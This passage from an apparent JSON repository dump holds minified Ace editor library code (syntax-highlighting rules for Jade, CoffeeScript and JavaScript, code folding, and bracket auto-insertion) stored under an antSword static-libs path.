";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift()||\"\";if(this.next.indexOf(\"string\")!=-1)return\"paren.string\"}return\"paren\"}},{token:\"string.regex\",regex:\"///\",next:\"heregex\"},{token:\"string.regex\",regex:/(?:\\/(?![\\s=])[^[\\/\\n\\\\]*(?:(?:\\\\[\\s\\S]|\\[[^\\]\\n\\\\]*(?:\\\\[\\s\\S][^\\]\\n\\\\]*)*])[^[\\/\\n\\\\]*)*\\/)(?:[imgy]{0,4})(?!\\w)/},{token:\"comment\",regex:\"###(?!#)\",next:\"comment\"},{token:\"comment\",regex:\"#.*\"},{token:[\"punctuation.operator\",\"text\",\"identifier\"],regex:\"(\\\\.)(\\\\s*)(\"+r+\")\"},{token:\"punctuation.operator\",regex:\"\\\\.\"},{token:[\"keyword\",\"text\",\"language.support.class\",\"text\",\"keyword\",\"text\",\"language.support.class\"],regex:\"(class)(\\\\s+)(\"+e+\")(?:(\\\\s+)(extends)(\\\\s+)(\"+e+\"))?\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\"].concat(a.token),regex:\"(\"+e+\")(\\\\s*)([=:])(\\\\s*)\"+a.regex},a,{token:\"variable\",regex:\"@(?:\"+e+\")?\"},{token:u,regex:e},{token:\"punctuation.operator\",regex:\"\\\\,|\\\\.\"},{token:\"storage.type\",regex:\"[\\\\-=]>\"},{token:\"keyword.operator\",regex:\"(?:[-+*/%<>&|^!?=]=|>>>=?|\\\\-\\\\-|\\\\+\\\\+|::|&&=|\\\\|\\\\|=|<<=|>>=|\\\\?\\\\.|\\\\.{2,3}|[!*+-=><])\"},{token:\"paren.lparen\",regex:\"[({[]\"},{token:\"paren.rparen\",regex:\"[\\\\]})]\"},{token:\"text\",regex:\"\\\\s+\"}],heregex:[{token:\"string.regex\",regex:\".*?///[imgy]{0,4}\",next:\"start\"},{token:\"comment.regex\",regex:\"\\\\s+(?:#.*)?\"},{token:\"string.regex\",regex:\"\\\\S+\"}],comment:[{token:\"comment\",regex:\"###\",next:\"start\"},{defaultToken:\"comment\"}]},this.normalizeRules()}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules;r.inherits(s,i),t.CoffeeHighlightRules=s}),ace.define(\"ace/mode/jade_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/markdown_highlight_rules\",\"ace/mode/scss_highlight_rules\",\"ace/mode/less_highlight_rules\",\"ace/mode/coffee_highlight_rules\",\"ace/mode/javascript_highlight_rules\"],function(e,t,n){\"use strict\";function l(e,t){return{token:\"entity.name.function.jade\",regex:\"^\\\\s*\\\\:\"+e,next:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./markdown_highlight_rules\").MarkdownHighlightRules,o=e(\"./scss_highlight_rules\").ScssHighlightRules,u=e(\"./less_highlight_rules\").LessHighlightRules,a=e(\"./coffee_highlight_rules\").CoffeeHighlightRules,f=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,c=function(){var e=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={start:[{token:\"keyword.control.import.include.jade\",regex:\"\\\\s*\\\\binclude\\\\b\"},{token:\"keyword.other.doctype.jade\",regex:\"^!!!\\\\s*(?:[a-zA-Z0-9-_]+)?\"},{token:\"punctuation.section.comment\",regex:\"^\\\\s*//(?:\\\\s*[^-\\\\s]|\\\\s+\\\\S)(?:.*$)\"},{onMatch:function(e,t,n){return n.unshift(this.next,e.length-2,t),\"comment\"},regex:/^\\s*\\/\\//,next:\"comment_block\"},l(\"markdown\",\"markdown-\"),l(\"sass\",\"sass-\"),l(\"less\",\"less-\"),l(\"coffee\",\"coffee-\"),{token:[\"storage.type.function.jade\",\"entity.name.function.jade\",\"punctuation.definition.parameters.begin.jade\",\"variable.parameter.function.jade\",\"punctuation.definition.parameters.end.jade\"],regex:\"^(\\\\s*mixin)( [\\\\w\\\\-]+)(\\\\s*\\\\()(.*?)(\\\\))\"},{token:[\"storage.type.function.jade\",\"entity.name.function.jade\"],regex:\"^(\\\\s*mixin)( [\\\\w\\\\-]+)\"},{token:\"source.js.embedded.jade\",regex:\"^\\\\s*(?:-|=|!=)\",next:\"js-start\"},{token:\"string.interpolated.jade\",regex:\"[#!]\\\\{[^\\\\}]+\\\\}\"},{token:\"meta.tag.any.jade\",regex:/^\\s*(?!\\w+\\:)(?:[\\w]+|(?=\\.|#)])/,next:\"tag_single\"},{token:\"suport.type.attribute.id.jade\",regex:\"#\\\\w+\"},{token:\"suport.type.attribute.class.jade\",regex:\"\\\\.\\\\w+\"},{token:\"punctuation\",regex:\"\\\\s*(?:\\\\()\",next:\"tag_attributes\"}],comment_block:[{regex:/^\\s*/,onMatch:function(e,t,n){return e.length<=n[1]?(n.shift(),n.shift(),this.next=n.shift(),\"text\"):(this.next=\"\",\"comment\")},next:\"start\"},{defaultToken:\"comment\"}],tag_single:[{token:\"entity.other.attribute-name.class.jade\",regex:\"\\\\.[\\\\w-]+\"},{token:\"entity.other.attribute-name.id.jade\",regex:\"#[\\\\w-]+\"},{token:[\"text\",\"punctuation\"],regex:\"($)|((?!\\\\.|#|=|-))\",next:\"start\"}],tag_attributes:[{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"entity.other.attribute-name.jade\",regex:\"\\\\b[a-zA-Z\\\\-:]+\"},{token:[\"entity.other.attribute-name.jade\",\"punctuation\"],regex:\"\\\\b([a-zA-Z:\\\\.-]+)(=)\",next:\"attribute_strings\"},{token:\"punctuation\",regex:\"\\\\)\",next:\"start\"}],attribute_strings:[{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"}],qqstring:[{token:\"constant.language.escape\",regex:e},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"tag_attributes\"}],qstring:[{token:\"constant.language.escape\",regex:e},{token:\"string\",regex:\"[^'\\\\\\\\]+\"},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"tag_attributes\"}]},this.embedRules(f,\"js-\",[{token:\"text\",regex:\".$\",next:\"start\"}])};r.inherits(c,i),t.JadeHighlightRules=c}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/jade\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jade_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jade_highlight_rules\").JadeHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.$id=\"ace/mode/jade\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-java.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var 